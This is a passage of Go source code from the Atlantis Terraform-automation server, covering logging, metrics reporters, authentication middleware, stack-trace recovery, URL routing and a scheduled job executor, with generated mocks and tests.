&MockSimpleLogging_With_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockSimpleLogging_With_OngoingVerification struct { mock *MockSimpleLogging methodInvocations []pegomock.MethodInvocation } func (c *MockSimpleLogging_With_OngoingVerification) GetCapturedArguments() []interface{} { a := c.GetAllCapturedArguments() return a[len(a)-1] } func (c *MockSimpleLogging_With_OngoingVerification) GetAllCapturedArguments() (_param0 [][]interface{}) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { _param0 = make([][]interface{}, len(c.methodInvocations)) for u := 0; u < len(c.methodInvocations); u++ { _param0[u] = make([]interface{}, len(_params)-0) for x := 0; x < len(_params); x++ { if _params[x][u] != nil { _param0[u][x-0] = _params[x][u].(interface{}) } } } } return } func (verifier *VerifierMockSimpleLogging) WithHistory(a ...interface{}) *MockSimpleLogging_WithHistory_OngoingVerification { _params := []pegomock.Param{} for _, param := range a { _params = append(_params, param) } methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "WithHistory", _params, verifier.timeout) return &MockSimpleLogging_WithHistory_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockSimpleLogging_WithHistory_OngoingVerification struct { mock *MockSimpleLogging methodInvocations []pegomock.MethodInvocation } func (c *MockSimpleLogging_WithHistory_OngoingVerification) GetCapturedArguments() []interface{} { a := c.GetAllCapturedArguments() return a[len(a)-1] } func (c *MockSimpleLogging_WithHistory_OngoingVerification) GetAllCapturedArguments() (_param0 [][]interface{}) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { _param0 = make([][]interface{}, len(c.methodInvocations)) for u := 0; u < len(c.methodInvocations); u++ { _param0[u] = make([]interface{}, len(_params)-0) for x := 0; x < len(_params); x++ { if _params[x][u] != nil { _param0[u][x-0] = _params[x][u].(interface{}) } } } } return } ================================================ FILE: server/logging/simple_logger.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. // // Package logging handles logging throughout Atlantis. package logging import ( "bytes" "fmt" "go.uber.org/zap" "go.uber.org/zap/zapcore" "go.uber.org/zap/zaptest" ) //go:generate pegomock generate --package mocks -o mocks/mock_simple_logging.go SimpleLogging // SimpleLogging is the interface used for logging throughout the codebase. type SimpleLogging interface { // These basically just fmt.Sprintf() the message and args. Debug(format string, a ...any) Info(format string, a ...any) Warn(format string, a ...any) Err(format string, a ...any) Log(level LogLevel, format string, a ...any) SetLevel(lvl LogLevel) // With adds a variadic number of fields to the logging context. It accepts a // mix of strongly-typed Field objects and loosely-typed key-value pairs. When // processing pairs, the first element of the pair is used as the field key // and the second as the field value. With(a ...any) SimpleLogging // Creates a new logger with history preserved . log storage + search strategies // should ideally be used instead of managing this ourselves. // keeping as a separate method to ensure that usage of history is completely intentional WithHistory(a ...any) SimpleLogging // Fetches the history we've stored associated with the logging context GetHistory() string // Flushes anything left in the buffer Flush() error } type StructuredLogger struct { z *zap.SugaredLogger level zap.AtomicLevel keepHistory bool // History stores all log entries ever written using // this logger. This is safe for short-lived loggers // like those used during plan/apply commands. // TODO: Deprecate this // this is added here to maintain backwards compatibility // This doesn't really make sense to keep given that structured logging // gives us the ability to query our logs across multiple dimensions // I don't believe we should mix this in with atlantis commands and expose this to the user history bytes.Buffer } func NewStructuredLoggerFromLevel(lvl LogLevel) (SimpleLogging, error) { cfg := zap.NewProductionConfig() cfg.EncoderConfig.EncodeTime = zapcore.ISO8601TimeEncoder cfg.Level = zap.NewAtomicLevelAt(lvl.zLevel) return newStructuredLogger(cfg) } func NewStructuredLogger() (SimpleLogging, error) { cfg := zap.NewProductionConfig() cfg.EncoderConfig.EncodeTime = zapcore.ISO8601TimeEncoder return newStructuredLogger(cfg) } func newStructuredLogger(cfg zap.Config) (*StructuredLogger, error) { baseLogger, err := cfg.Build() baseLogger = baseLogger. // ensures that the caller doesn't just say logging/simple_logger each time WithOptions(zap.AddCallerSkip(1)). WithOptions(zap.AddStacktrace(zapcore.WarnLevel)). // creates isolated context for all future kv pairs, name can be flexible as needed With(zap.Namespace("json")) if err != nil { return nil, fmt.Errorf(" initializing structured logger: %w", err) } return &StructuredLogger{ z: baseLogger.Sugar(), level: cfg.Level, }, nil } func (l *StructuredLogger) With(a ...any) SimpleLogging { return &StructuredLogger{ z: l.z.With(a...), level: l.level, } } func (l *StructuredLogger) WithHistory(a ...any) SimpleLogging { logger := &StructuredLogger{ z: l.z.With(a...), level: l.level, } // ensure that the history is kept across loggers. logger.keepHistory = true logger.history = l.history return logger } func (l *StructuredLogger) GetHistory() string { return l.history.String() } func (l *StructuredLogger) Debug(format string, a ...any) { l.z.Debugf(format, a...) l.saveToHistory(Debug, format, a...) } func (l *StructuredLogger) Info(format string, a ...any) { l.z.Infof(format, a...) l.saveToHistory(Info, format, a...) } func (l *StructuredLogger) Warn(format string, a ...any) { l.z.Warnf(format, a...) l.saveToHistory(Warn, format, a...) } func (l *StructuredLogger) Err(format string, a ...any) { l.z.Errorf(format, a...) l.saveToHistory(Error, format, a...) } func (l *StructuredLogger) Log(level LogLevel, format string, a ...any) { switch level { case Debug: l.z.Debugf(format, a...) case Info: l.z.Infof(format, a...) case Warn: l.z.Warnf(format, a...) case Error: l.z.Errorf(format, a...) } } func (l *StructuredLogger) SetLevel(lvl LogLevel) { if l != nil { l.level.SetLevel(lvl.zLevel) } } func (l *StructuredLogger) Flush() error { return l.z.Sync() } func (l *StructuredLogger) saveToHistory(lvl LogLevel, format string, a ...any) { if !l.keepHistory { return } msg := fmt.Sprintf(format, a...) l.history.WriteString(fmt.Sprintf("[%s] %s\n", lvl.shortStr, msg)) } // NewNoopLogger creates a logger instance that discards all logs and never // writes them. Used for testing. func NewNoopLogger(t zaptest.TestingT) SimpleLogging { level := zap.DebugLevel return &StructuredLogger{ z: zaptest.NewLogger(t, zaptest.Level(level)).Sugar(), level: zap.NewAtomicLevelAt(level), } } type LogLevel struct { zLevel zapcore.Level shortStr string } var ( Debug = LogLevel{ zLevel: zapcore.DebugLevel, shortStr: "DBUG", } Info = LogLevel{ zLevel: zapcore.InfoLevel, shortStr: "INFO", } Warn = LogLevel{ zLevel: zapcore.WarnLevel, shortStr: "WARN", } Error = LogLevel{ zLevel: zapcore.ErrorLevel, shortStr: "EROR", } ) ================================================ FILE: server/metrics/common.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package metrics const ( ExecutionTimeMetric = "execution_time" ExecutionSuccessMetric = "execution_success" ExecutionErrorMetric = "execution_error" ExecutionFailureMetric = "execution_failure" ) ================================================ FILE: server/metrics/counter.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package metrics import tally "github.com/uber-go/tally/v4" func InitCounter(scope tally.Scope, name string) { s := scope.Counter(name) s.Inc(0) } ================================================ FILE: server/metrics/counter_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package metrics import ( "testing" tally "github.com/uber-go/tally/v4" ) func TestInitCounter(t *testing.T) { scope := tally.NewTestScope("test", nil) InitCounter(scope, "counter") counter, ok := scope.Snapshot().Counters()["test.counter+"] if !ok { t.Errorf("Counter not found") } if counter.Value() != 0 { t.Errorf("Counter is not initialized") } } ================================================ FILE: server/metrics/debug.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package metrics import ( "time" "github.com/runatlantis/atlantis/server/logging" tally "github.com/uber-go/tally/v4" ) // newLoggingReporter returns a tally reporter that logs to the provided logger at debug level. This is useful for // local development where the usual sinks are not available. func newLoggingReporter(logger logging.SimpleLogging) tally.StatsReporter { return &debugReporter{log: logger} } type debugReporter struct { log logging.SimpleLogging } // Capabilities interface. func (r *debugReporter) Reporting() bool { return true } func (r *debugReporter) Tagging() bool { return true } func (r *debugReporter) Capabilities() tally.Capabilities { return r } // Reporter interface. func (r *debugReporter) Flush() { // Silence. } func (r *debugReporter) ReportCounter(name string, tags map[string]string, value int64) { log := r.log.With("name", name, "value", value, "tags", tags, "type", "counter") log.Debug("counter") } func (r *debugReporter) ReportGauge(name string, tags map[string]string, value float64) { log := r.log.With("name", name, "value", value, "tags", tags, "type", "gauge") log.Debug("gauge") } func (r *debugReporter) ReportTimer(name string, tags map[string]string, interval time.Duration) { log := r.log.With("name", name, "value", interval, "tags", tags, "type", "timer") log.Debug("timer") } func (r *debugReporter) ReportHistogramValueSamples( name string, tags map[string]string, buckets tally.Buckets, bucketLowerBound, bucketUpperBound float64, samples int64, ) { log := r.log.With( "name", name, "buckets", buckets.AsValues(), "bucketLowerBound", bucketLowerBound, "bucketUpperBound", bucketUpperBound, "samples", samples, "tags", tags, "type", "valueHistogram", ) log.Debug("histogram") } func (r *debugReporter) ReportHistogramDurationSamples( name string, tags map[string]string, buckets tally.Buckets, bucketLowerBound, bucketUpperBound time.Duration, samples int64, ) { log := r.log.With( "name", name, "buckets", buckets.AsValues(), "bucketLowerBound", bucketLowerBound, "bucketUpperBound", bucketUpperBound, "samples", samples, "tags", tags, "type", "durationHistogram", ) log.Debug("histogram") } ================================================ FILE: server/metrics/metricstest/scope.go ================================================ package metricstest import ( "testing" "github.com/runatlantis/atlantis/server/logging" "github.com/runatlantis/atlantis/server/metrics" tally "github.com/uber-go/tally/v4" ) func NewLoggingScope(t *testing.T, logger logging.SimpleLogging, statsNamespace string) tally.Scope { t.Helper() scope, closer, err := metrics.NewLoggingScope(logger, "atlantis") if err != nil { t.Fatalf("failed to create metrics logging scope: %v", err) } t.Cleanup(func() { closer.Close() }) return scope } ================================================ FILE: server/metrics/scope.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package metrics import ( "fmt" "io" "strings" "time" "github.com/cactus/go-statsd-client/v5/statsd" "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/runatlantis/atlantis/server/logging" tally "github.com/uber-go/tally/v4" tallyprom "github.com/uber-go/tally/v4/prometheus" tallystatsd "github.com/uber-go/tally/v4/statsd" ) func NewLoggingScope(logger logging.SimpleLogging, statsNamespace string) (tally.Scope, io.Closer, error) { scope, _, closer, err := NewScope(valid.Metrics{}, logger, statsNamespace) return scope, closer, err } func NewScope(cfg valid.Metrics, logger logging.SimpleLogging, statsNamespace string) (tally.Scope, tally.BaseStatsReporter, io.Closer, error) { reporter, err := newReporter(cfg, logger) if err != nil { return nil, nil, nil, fmt.Errorf("initializing stats reporter: %w", err) } scopeOpts := tally.ScopeOptions{ Prefix: statsNamespace, SanitizeOptions: &tallyprom.DefaultSanitizerOpts, } if r, ok := reporter.(tally.StatsReporter); ok { scopeOpts.Reporter = r } else if r, ok := reporter.(tally.CachedStatsReporter); ok { scopeOpts.CachedReporter = r scopeOpts.Separator = tallyprom.DefaultSeparator } scope, closer := tally.NewRootScope(scopeOpts, time.Second) return scope, reporter, closer, nil } func newReporter(cfg valid.Metrics, logger logging.SimpleLogging) (tally.BaseStatsReporter, error) { // return statsd metrics if configured if cfg.Statsd != nil { return newStatsReporter(cfg) } // return prometheus metrics if configured if cfg.Prometheus != nil { return tallyprom.NewReporter(tallyprom.Options{}), nil } // return logging reporter and proceed return newLoggingReporter(logger), nil } func newStatsReporter(cfg valid.Metrics) (tally.StatsReporter, error) { statsdCfg := cfg.Statsd client, err := statsd.NewClientWithConfig(&statsd.ClientConfig{ Address: strings.Join([]string{statsdCfg.Host, statsdCfg.Port}, ":"), }) if err != nil { return nil, fmt.Errorf("initializing statsd client: %w", err) } return tallystatsd.NewReporter(client, tallystatsd.Options{}), nil } ================================================ FILE: server/metrics/scope_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package metrics_test import ( "testing" "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/runatlantis/atlantis/server/metrics" ) var ( prometheusConfig = valid.Metrics{ Prometheus: &valid.Prometheus{ Endpoint: "/metrics", }, } ) func TestNewScope_PrometheusTaggingCapabilities(t *testing.T) { scope, _, _, err := metrics.NewScope(prometheusConfig, nil, "test") if err != nil { t.Fatalf("got an error: %s", err.Error()) } scope.Tagged(map[string]string{ "base_repo": "runatlantis/atlantis", "pr_number": "2687", }) want := true got := scope.Capabilities().Tagging() if want != got { t.Errorf("Scope does not have Capability to do Tagging") } } ================================================ FILE: server/middleware.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package server import ( "net/http" "strings" "github.com/runatlantis/atlantis/server/logging" "github.com/urfave/negroni/v3" ) // NewRequestLogger creates a RequestLogger. func NewRequestLogger(s *Server) *RequestLogger { return &RequestLogger{ s.Logger, s.WebAuthentication, s.WebUsername, s.WebPassword, } } // RequestLogger logs requests and their response codes. // as well as handle the basicauth on the requests type RequestLogger struct { logger logging.SimpleLogging WebAuthentication bool WebUsername string WebPassword string } // ServeHTTP implements the middleware function. It logs all requests at DEBUG level. func (l *RequestLogger) ServeHTTP(rw http.ResponseWriter, r *http.Request, next http.HandlerFunc) { l.logger.Debug("%s %s – from %s", r.Method, r.URL.RequestURI(), r.RemoteAddr) allowed := false if !l.WebAuthentication || r.URL.Path == "/events" || r.URL.Path == "/healthz" || r.URL.Path == "/status" || strings.HasPrefix(r.URL.Path, "/api/") { allowed = true } else { user, pass, ok := r.BasicAuth() if ok { r.SetBasicAuth(user, pass) if user == l.WebUsername && pass == l.WebPassword { l.logger.Debug("[VALID] log in: >> url: %s", r.URL.RequestURI()) allowed = true } else { allowed = false l.logger.Info("[INVALID] log in attempt: >> url: %s", r.URL.RequestURI()) } } } if !allowed { rw.Header().Set("WWW-Authenticate", `Basic realm="restricted", charset="UTF-8"`) http.Error(rw, "Unauthorized", http.StatusUnauthorized) } else { next(rw, r) } l.logger.Debug("%s %s – respond HTTP %d", r.Method, r.URL.RequestURI(), rw.(negroni.ResponseWriter).Status()) } ================================================ FILE: server/recovery/recovery.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. // // Package recovery is taken from // https://github.com/gin-gonic/gin/blob/master/recovery.go // License of source below: // Copyright 2014 Manu Martinez-Almeida. All rights reserved. // Use of this source code is governed by a MIT style // license that can be found in the LICENSE file. package recovery import ( "bytes" "fmt" "os" "runtime" ) var ( dunno = []byte("???") centerDot = []byte("·") dot = []byte(".") slash = []byte("/") ) // Stack returns a nicely formatted stack frame, skipping skip frames. func Stack(skip int) []byte { buf := new(bytes.Buffer) // the returned data // As we loop, we open files and read them. These variables record the currently // loaded file. var lines [][]byte var lastFile string for i := skip; ; i++ { // Skip the expected number of frames pc, file, line, ok := runtime.Caller(i) if !ok { break } // Print this much at least. If we can't find the source, it won't show. fmt.Fprintf(buf, "%s:%d (0x%x)\n", file, line, pc) if file != lastFile { data, err := os.ReadFile(file) // nolint: gosec if err != nil { continue } lines = bytes.Split(data, []byte{'\n'}) lastFile = file } fmt.Fprintf(buf, "\t%s: %s\n", function(pc), source(lines, line)) } return buf.Bytes() } // source returns a space-trimmed slice of the n'th line. func source(lines [][]byte, n int) []byte { n-- // in stack trace, lines are 1-indexed but our array is 0-indexed if n < 0 || n >= len(lines) { return dunno } return bytes.TrimSpace(lines[n]) } // function returns, if possible, the name of the function containing the PC. func function(pc uintptr) []byte { fn := runtime.FuncForPC(pc) if fn == nil { return dunno } name := []byte(fn.Name()) // The name includes the path name to the package, which is unnecessary // since the file name is already included. Plus, it has center dots. // That is, we see // runtime/debug.*T·ptrmethod // and want // *T.ptrmethod // Also the package path might contains dot (e.g. code.google.com/...), // so first eliminate the path prefix if lastslash := bytes.LastIndex(name, slash); lastslash >= 0 { name = name[lastslash+1:] } if period := bytes.Index(name, dot); period >= 0 { name = name[period+1:] } name = bytes.ReplaceAll(name, centerDot, dot) return name } ================================================ FILE: server/recovery/recovery_test.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package recovery_test import ( "fmt" "strings" "testing" "github.com/runatlantis/atlantis/server/recovery" ) func TestStack(t *testing.T) { tests := []struct { skip int expContains []string expNotContains []string }{ { skip: 0, expContains: []string{ "runtime.Caller(i)", "TestStack.func1.1: return string(recovery.Stack(tt.skip))", "recoveryTestFunc2: return f()", "recoveryTestFunc1: return recoveryTestFunc2(f)", }, expNotContains: []string{}, }, { skip: 1, expContains: []string{ "TestStack.func1.1: return string(recovery.Stack(tt.skip))", "recoveryTestFunc2: return f()", "recoveryTestFunc1: return recoveryTestFunc2(f)", }, expNotContains: []string{ "runtime.Caller(i)", }, }, { skip: 2, expContains: []string{ "recoveryTestFunc2: return f()", "recoveryTestFunc1: return recoveryTestFunc2(f)", }, expNotContains: []string{ "runtime.Caller(i)", "TestStack.func1.1: return string(recovery.Stack(tt.skip))", }, }, { skip: 3, expContains: []string{ "recoveryTestFunc1: return recoveryTestFunc2(f)", }, expNotContains: []string{ "runtime.Caller(i)", "TestStack.func1.1: return string(recovery.Stack(tt.skip))", "recoveryTestFunc2: return f()", }, }, } for _, tt := range tests { t.Run(fmt.Sprintf("skip %d", tt.skip), func(t *testing.T) { got := recoveryTestFunc1(func() string { return string(recovery.Stack(tt.skip)) }) for _, contain := range tt.expContains { if !strings.Contains(got, contain) { t.Fatalf("expected stack to contain %q but got:\n%s", contain, got) } } for _, notContain := range tt.expNotContains { if strings.Contains(got, notContain) { t.Fatalf("expected stack to not contain %q but got:\n%s", notContain, got) } } }) } } func recoveryTestFunc1(f func() string) string { return recoveryTestFunc2(f) } func recoveryTestFunc2(f func() string) string { return f() } ================================================ FILE: server/router.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package server import ( "fmt" "net/url" "github.com/gorilla/mux" "github.com/runatlantis/atlantis/server/events/command" ) // Router can be used to retrieve Atlantis URLs. It acts as an intermediary // between the underlying router and the rest of Atlantis that might need to // construct URLs to different resources. type Router struct { // Underlying is the router that the routes have been constructed on. Underlying *mux.Router // LockViewRouteName is the named route for the lock view that can be Get'd // from the Underlying router. LockViewRouteName string // ProjectJobsViewRouteName is the named route for the projects active jobs ProjectJobsViewRouteName string // LockViewRouteIDQueryParam is the query parameter needed to construct the // lock view: underlying.Get(LockViewRouteName).URL(LockViewRouteIDQueryParam, "my id"). LockViewRouteIDQueryParam string // AtlantisURL is the fully qualified URL that Atlantis is // accessible from externally. AtlantisURL *url.URL } // GenerateLockURL returns a fully qualified URL to view the lock at lockID. func (r *Router) GenerateLockURL(lockID string) string { lockURL, _ := r.Underlying.Get(r.LockViewRouteName).URL(r.LockViewRouteIDQueryParam, url.QueryEscape(lockID)) // At this point, lockURL will just be a path because r.Underlying isn't // configured with host or scheme information. So to generate the fully // qualified LockURL we just append the router's url to our base url. // We're not doing anything fancy here with the actual url object because // golang likes to double escape the lockURL path when using url.Parse(). return r.AtlantisURL.String() + lockURL.String() } func (r *Router) GenerateProjectJobURL(ctx command.ProjectContext) (string, error) { if ctx.JobID == "" { return "", fmt.Errorf("no job id in ctx") } jobURL, err := r.Underlying.Get((r.ProjectJobsViewRouteName)).URL( "job-id", ctx.JobID, ) if err != nil { return "", fmt.Errorf("creating job url for %s: %w", ctx.JobID, err) } return r.AtlantisURL.String() + jobURL.String(), nil } func (r *Router) GenerateProjectWorkflowHookURL(hookID string) (string, error) { jobURL, err := r.Underlying.Get((r.ProjectJobsViewRouteName)).URL( "job-id", hookID, ) if err != nil { return "", fmt.Errorf("creating workflow hook url for %s: %w", hookID, err) } return r.AtlantisURL.String() + jobURL.String(), nil } ================================================ FILE: server/router_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package server_test import ( "fmt" "net/http" "testing" "github.com/google/uuid" "github.com/gorilla/mux" "github.com/runatlantis/atlantis/server" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" . "github.com/runatlantis/atlantis/testing" "github.com/stretchr/testify/require" ) func TestRouter_GenerateLockURL(t *testing.T) { cases := []struct { AtlantisURL string ExpURL string }{ { "http://localhost:4141", "http://localhost:4141/lock?id=lkysow%252Fatlantis-example%252F.%252Fdefault", }, { "https://localhost:4141", "https://localhost:4141/lock?id=lkysow%252Fatlantis-example%252F.%252Fdefault", }, { "https://localhost:4141/", "https://localhost:4141/lock?id=lkysow%252Fatlantis-example%252F.%252Fdefault", }, { "https://example.com/basepath", "https://example.com/basepath/lock?id=lkysow%252Fatlantis-example%252F.%252Fdefault", }, { "https://example.com/basepath/", "https://example.com/basepath/lock?id=lkysow%252Fatlantis-example%252F.%252Fdefault", }, { "https://example.com/path/1/", "https://example.com/path/1/lock?id=lkysow%252Fatlantis-example%252F.%252Fdefault", }, } queryParam := "id" routeName := "routename" underlyingRouter := mux.NewRouter() underlyingRouter.HandleFunc("/lock", func(_ http.ResponseWriter, _ *http.Request) {}).Methods("GET").Queries(queryParam, "{id}").Name(routeName) for _, c := range cases { t.Run(c.AtlantisURL, func(t *testing.T) { atlantisURL, err := server.ParseAtlantisURL(c.AtlantisURL) Ok(t, err) router := &server.Router{ AtlantisURL: atlantisURL, LockViewRouteIDQueryParam: queryParam, LockViewRouteName: routeName, Underlying: underlyingRouter, } Equals(t, c.ExpURL, router.GenerateLockURL("lkysow/atlantis-example/./default")) }) } } func setupJobsRouter(t *testing.T) *server.Router { atlantisURL, err := server.ParseAtlantisURL("http://localhost:4141") Ok(t, err) underlyingRouter := mux.NewRouter() underlyingRouter.HandleFunc("/jobs/{job-id}", func(_ http.ResponseWriter, _ *http.Request) {}).Methods("GET").Name("project-jobs-detail") return &server.Router{ AtlantisURL: atlantisURL, Underlying: underlyingRouter, ProjectJobsViewRouteName: "project-jobs-detail", } } func TestGenerateProjectJobURL_ShouldGenerateURLWhenJobIDSpecified(t *testing.T) { router := setupJobsRouter(t) jobID := uuid.New().String() ctx := command.ProjectContext{ JobID: jobID, } expectedURL := fmt.Sprintf("http://localhost:4141/jobs/%s", jobID) gotURL, err := router.GenerateProjectJobURL(ctx) Ok(t, err) Equals(t, expectedURL, gotURL) } func TestGenerateProjectJobURL_ShouldReturnErrorWhenJobIDNotSpecified(t *testing.T) { router := setupJobsRouter(t) ctx := command.ProjectContext{ Pull: models.PullRequest{ BaseRepo: models.Repo{ Owner: "test-owner", Name: "test-repo", }, Num: 1, }, RepoRelDir: "ops/terraform/", } expectedErrString := "no job id in ctx" gotURL, err := router.GenerateProjectJobURL(ctx) require.EqualError(t, err, expectedErrString) Equals(t, "", gotURL) } ================================================ FILE: server/scheduled/executor_service.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package scheduled import ( "context" "os" "os/signal" "sync" "syscall" "time" "github.com/runatlantis/atlantis/server/logging" tally "github.com/uber-go/tally/v4" ) type ExecutorService struct { log logging.SimpleLogging // jobs jobs []JobDefinition } func NewExecutorService( statsScope tally.Scope, log logging.SimpleLogging, ) *ExecutorService { scheduledScope := statsScope.SubScope("scheduled") runtimeStatsPublisher := NewRuntimeStats(scheduledScope) runtimeStatsPublisherJob := JobDefinition{ Job: runtimeStatsPublisher, Period: 10 * time.Second, } return &ExecutorService{ log: log, jobs: []JobDefinition{runtimeStatsPublisherJob}, } } func (s *ExecutorService) AddJob(jd JobDefinition) { s.jobs = append(s.jobs, jd) } type JobDefinition struct { Job Job Period time.Duration } func (s *ExecutorService) Run() { s.log.Info("Scheduled Executor Service started") ctx, cancel := context.WithCancel(context.Background()) var wg sync.WaitGroup for _, jd := range s.jobs { s.runScheduledJob(ctx, &wg, jd) } interrupt := make(chan os.Signal, 1) // Stop on SIGINTs and SIGTERMs. signal.Notify(interrupt, os.Interrupt, syscall.SIGTERM) <-interrupt s.log.Warn("Received interrupt. Attempting to Shut down scheduled executor service") cancel() wg.Wait() s.log.Warn("All jobs completed, exiting.") } func (s *ExecutorService) runScheduledJob(ctx context.Context, wg *sync.WaitGroup, jd JobDefinition) { ticker := time.NewTicker(jd.Period) wg.Go(func() { defer ticker.Stop() // Ensure we recover from any panics to keep the jobs isolated. // Keep the recovery outside the select to ensure that we don't infinitely panic. defer func() { if r := recover(); r != nil { s.log.Err("Recovered from panic: %v", r) } }() for { select { case <-ctx.Done(): s.log.Warn("Received interrupt, cancelling job") return case <-ticker.C: jd.Job.Run() } } }) } //go:generate pegomock generate --package mocks -o mocks/mock_executor_service_job.go Job type Job interface { Run() } ================================================ FILE: server/scheduled/executor_service_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package scheduled import ( "testing" "time" pegomock "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/logging" "github.com/runatlantis/atlantis/server/scheduled/mocks" ) func TestExecutorService_Run(t *testing.T) { pegomock.RegisterMockTestingT(t) mockJob := mocks.NewMockJob() type fields struct { log logging.SimpleLogging jobs []JobDefinition } tests := []struct { name string fields fields }{ { name: "test", fields: fields{ log: logging.NewNoopLogger(t), jobs: []JobDefinition{ { Job: mockJob, Period: 1 * time.Second, }, }, }, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { s := &ExecutorService{ log: tt.fields.log, jobs: make([]JobDefinition, 0), } s.AddJob(tt.fields.jobs[0]) go s.Run() time.Sleep(1050 * time.Millisecond) mockJob.VerifyWasCalledOnce().Run() }) } } ================================================ FILE: server/scheduled/mocks/mock_executor_service_job.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/scheduled (interfaces: Job) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" "reflect" "time" ) type MockJob struct { fail func(message string, callerSkip ...int) } func NewMockJob(options ...pegomock.Option) *MockJob { mock := &MockJob{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockJob) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockJob) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockJob) Run() { if mock == nil { panic("mock must not be nil. Use myMock := NewMockJob().") } _params := []pegomock.Param{} pegomock.GetGenericMockFrom(mock).Invoke("Run", _params, []reflect.Type{}) } func (mock *MockJob) VerifyWasCalledOnce() *VerifierMockJob { return &VerifierMockJob{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockJob) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockJob { return &VerifierMockJob{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockJob) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockJob { return &VerifierMockJob{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockJob) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockJob { return &VerifierMockJob{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockJob struct { mock *MockJob invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockJob) Run() *MockJob_Run_OngoingVerification { _params := []pegomock.Param{} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Run", _params, verifier.timeout) return &MockJob_Run_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockJob_Run_OngoingVerification struct { mock *MockJob methodInvocations []pegomock.MethodInvocation } func (c *MockJob_Run_OngoingVerification) GetCapturedArguments() { } func (c *MockJob_Run_OngoingVerification) GetAllCapturedArguments() { } ================================================ FILE: server/scheduled/runtime_stats.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package scheduled import ( "runtime" tally "github.com/uber-go/tally/v4" ) type RuntimeStatCollector struct { runtimeMetrics runtimeMetrics } type runtimeMetrics struct { cpuGoroutines tally.Gauge cpuCgoCalls tally.Gauge memoryAlloc tally.Gauge memoryTotal tally.Gauge memorySys tally.Gauge memoryLookups tally.Gauge memoryMalloc tally.Gauge memoryFrees tally.Gauge memoryHeapAlloc tally.Gauge memoryHeapSys tally.Gauge memoryHeapIdle tally.Gauge memoryHeapInuse tally.Gauge memoryHeapReleased 